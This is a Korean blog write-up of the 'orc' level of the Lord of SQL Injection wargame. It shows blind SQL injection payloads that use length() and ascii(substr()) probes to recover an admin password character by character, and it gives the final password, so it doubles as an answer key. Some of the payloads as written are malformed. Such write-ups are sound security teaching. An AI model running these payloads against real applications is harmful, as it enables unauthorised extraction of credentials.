minhui study

[ Lord of SQL Injection ] orc 본문

Hacking/Lord of SQLInjection

[ Lord of SQL Injection ] orc

minhui 2020. 3. 23. 17:29

Challenge orc

GET 방식으로 pw를 입력받고 addslashes()함수를 통해 pw를 변환하고

그 비밀번호에 일치하는 비밀번호를 테이블에서 찾아낸 뒤 GET방식으로 받아온 pw와 같으면 문제가 풀린다.

 

여기서 addslashes()함수에 대해 잠깐 알아보고 넘어가자

만약에 I'm a girl 이라는 문자열을 전송하게 되면 '(따옴표)때문에 오류가 발생하게 된다.

이 때 addslashes함수가 I(역슬래쉬)'m a girl로 바꾸어 주는 작업을 해준다. 

그리고 DB에서 다시 꺼내왔을 때 추가됐던 백슬래쉬를 제거해주는 함수가 바로 stripslashes()함수이다.

 

자 이제 문제는 pw를 어떻게 찾나 이다. 

먼저 pw길이부터 알아보자

 

select id from prob_orc where id='admin' and pw='1' or and id='admin' and length(pw)=8-- a'

이런식으로 Hello admin이 뜰 때까지 숫자를 넣어가다보면 pw길이가 8이라는 것을 알 수 있다.

 

 

그럼 이제 첫번 째 글자를 알아내보자

 

select id from prob_orc where id='admin' and pw='1' or and id='admin' and ascii(substr(pw, 1, 1)) > 40-- a'

 

이런 식으로 substr함수와 ascii함수를 이용하여 참이 될 때까지 하다보면 1번째 글자수를 알 수 있다.

n번 째 글자들도 동일한 방식으로 알아낼 수 있다.

 

1번째 글자(아스키) -> 50  --> 2 

2번째 글자(아스키) -> 57  --> 9

3번째 글자(아스키) -> 53  --> 5

4번째 글자(아스키) -> 100  --> d

5번째 글자(아스키) -> 53  --> 5

6번째 글자(아스키) -> 56  --> 8

7번째 글자(아스키) -> 52  --> 4

8번째 글자(아스키) -> 52  --> 4

 

pw -> 295d5844

'Hacking > Lord of SQLInjection' 카테고리의 다른 글

[ Lord of SQL Injection ] goblin  (0) 2020.03.23
[ Lord of SQL Injection ] cobolt  (0) 2020.03.23
[ Lord of SQL Injection ] Gremlin  (0) 2020.03.23
Comments